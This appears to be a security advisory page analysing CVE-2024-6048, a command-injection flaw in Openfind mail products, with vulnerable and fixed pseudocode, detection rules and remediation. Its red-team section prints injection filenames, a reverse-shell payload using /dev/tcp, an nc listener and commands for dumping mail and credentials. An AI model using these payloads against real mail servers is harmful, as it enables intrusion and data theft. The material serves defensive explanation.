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CVE-2024-6048

CVE-2024-6048 Remote Code Execution in Openfind
📅 PUBLISHED: 2024-06-17 07:28 UTC 🔄 UPDATED: 2026-10-08 19:49 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: vPatch 5.2.10.094 — source: twcert. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.68%
👁️
0.68% probability
16.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6048 is a critical unauthenticated remote command injection vulnerability affecting Openfind MailGates and MailAudit products. The flaw resides in the email attachment analysis functionality, where user-supplied input is not properly sanitized before being passed to system commands. An unauthenticated attacker can exploit this by sending a specially crafted email with a malicious attachment, leading to full remote code execution on the mail server. With a CVSS score of 9.8, this vulnerability poses an extreme risk to organizational email infrastructure, potentially allowing attackers to compromise sensitive communications, pivot to internal networks, and establish persistent access. No public proof-of-concept or patch is currently available, making detection and mitigation critical.

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CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full system compromise leads to data exposure.
  • Integrity (I): High (H) – Attacker can modify system files and data.
  • Availability (A): High (H) – Attacker can disrupt mail services.

Threat Level: Critical. The combination of network exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using Openfind MailGates or MailAudit.

Deep Dive & Mechanics

The vulnerability exists in the email attachment processing pipeline of Openfind MailGates and MailAudit. When an email with an attachment is received, the system extracts metadata (e.g., filename, MIME type) and passes it to external utilities for analysis (e.g., file, clamscan, or custom scripts). The core issue is that the attachment filename or other user-controlled fields are concatenated directly into a shell command without proper escaping or sanitization.

For example, a vulnerable code path might look like:

import subprocess
filename = extract_attachment_name(email)
cmd = f"file -b {filename}"
result = subprocess.check_output(cmd, shell=True)

An attacker can craft an attachment with a filename such as ;id;.txt, which when interpolated becomes file -b ;id;.txt, executing the id command. The semicolon (;) terminates the original command and allows arbitrary command injection. Since the service runs with elevated privileges (often root or mail system user), the attacker gains full control over the server.

The attack flow:

  1. Attacker sends an email to the target mail server with a malicious attachment.
  2. The server's attachment analysis module extracts the filename.
  3. The filename is passed unsanitized to a shell command.
  4. The injected command executes, providing a reverse shell or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Python-like pseudocode):

import subprocess
def analyze_attachment(email):
    attachment = email.get_attachment()
    filename = attachment.get_filename()
    # VULNERABLE: Direct string interpolation into shell command
    cmd = f"file -b {filename}"
    result = subprocess.check_output(cmd, shell=True)
    return result

Patched Code (Secure version):

import subprocess
import shlex
def analyze_attachment(email):
    attachment = email.get_attachment()
    filename = attachment.get_filename()
    # PATCHED: Use shlex.quote to escape shell metacharacters
    safe_filename = shlex.quote(filename)
    cmd = f"file -b {safe_filename}"
    # Also avoid shell=True when possible
    result = subprocess.check_output(["file", "-b", filename])
    return result

The patched version uses shlex.quote() to escape special characters and avoids shell=True by passing arguments as a list. This prevents command injection by ensuring the filename is treated as a literal argument.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: Openfind MailGates v7.0 (vulnerable) running on Ubuntu 20.04
  • Attacker: Kali Linux 2024.1
  • Network: Both on the same subnet (NAT mode)

Exploitation Steps:

  1. Craft Malicious Email: Use swaks (Swiss Army Knife for SMTP) to send an email with a malicious attachment filename.

    swaks --to admin@target.com \
          --from attacker@evil.com \
          --attach @<(echo "malicious content") \
          --header "Content-Disposition: attachment; filename=\"\";id;.txt\""
    
  2. Set Up Listener:

    nc -lvnp 4444
    
  3. Trigger Exploit: The injected command in the filename will execute. For a reverse shell:

    # Filename: ;bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1';.txt
    

    This creates a reverse shell back to the attacker.

  4. Post-Exploitation:

    • Dump mail spools: cat /var/mail/*
    • Extract credentials: grep -r "password" /etc/mail/
    • Pivot: Use the compromised server as a jump box.

Blue Team (Defensive)

Detection & Response:

  1. Monitor SMTP Traffic: Look for emails with unusual attachment filenames containing shell metacharacters (;, |, `, $()).

    tcpdump -i eth0 port 25 -X | grep -E 'filename.*[;&|`$]'
    
  2. Honeypot Setup: Deploy a decoy MailGates instance to capture exploit attempts.

  3. Log Analysis: Check mail logs for failed attachment processing:

    grep -i "attachment.*error\|command.*failed" /var/log/mail.log
    
  4. Immediate Containment:

    • Isolate the mail server from the network.
    • Block outbound SMTP from the server to prevent data exfiltration.
    • Review and rotate all credentials stored on the server.

Indicators of Compromise (IOCs)

Type Indicator Description
Network SMTP traffic with attachment filenames containing ;, ` , `` ``
Network Outbound connections from mail server to unknown IPs on high ports (4444, 8080) Reverse shell callback
File /tmp/.revshell or similar suspicious files Persistence mechanism
Process bash -c, nc, python -c spawned by mail processes Command execution
Log Mail log entries with "file: cannot open" or "sh: 1: Syntax error" Failed injection attempts
Registry New cron jobs or systemd services Persistence

Detection Engineering

YARA Rule

rule CVE_2024_6048_MailGates_Attachment_Injection {
    meta:
        description = "Detects malicious email attachments exploiting CVE-2024-6048"
        author = "Valters IT"
        date = "2024-06-01"
        reference = "CVE-2024-6048"
    strings:
        $semicolon = ";"
        $pipe = "|"
        $backtick = "`"
        $dollar_paren = "$("
        $cmd_exec = /(bash|sh|cmd|powershell|python|perl|nc|ncat)/
    condition:
        any of ($semicolon, $pipe, $backtick, $dollar_paren) and
        $cmd_exec and
        filesize < 10KB
}

Sigma Rule

title: CVE-2024-6048 MailGates Command Injection Attempt
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects SMTP traffic with malicious attachment filenames
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        app_protocol: smtp
        smtp.mail_from|contains: '@'
        smtp.rcpt_to|contains: '@'
        smtp.attachment_filename|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate filenames with semicolons (rare)
level: high

Suricata Rule

alert smtp $EXTERNAL_NET any -> $HOME_NET 25 (msg:"CVE-2024-6048 MailGates Command Injection Attempt"; flow:to_server; content:"filename"; nocase; pcre:"/filename\s*=\s*[\x22\x27]?[^\x22\x27]*[;&|`]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Attachment Analysis: If possible, temporarily disable the attachment analysis feature in MailGates/MailAudit until a patch is applied.
  2. Network Segmentation: Place the mail server behind a strict firewall that only allows necessary SMTP traffic and blocks outbound connections to unknown IPs.
  3. Input Validation: Implement a reverse proxy or WAF that inspects SMTP traffic and blocks attachments with suspicious filenames.

Long-Term Fix:

  • Apply the official patch from Openfind when released.
  • Upgrade to a version where the attachment filename is properly sanitized using parameterized commands or shlex.quote().
  • Conduct a security audit of all custom scripts interacting with email attachments.

Workaround:

  • Modify the attachment analysis script to use subprocess.run() with a list of arguments instead of shell=True.
  • Example fix:
    import subprocess
    filename = extract_attachment_name(email)
    subprocess.run(["file", "-b", filename], check=True)
    

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◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6048/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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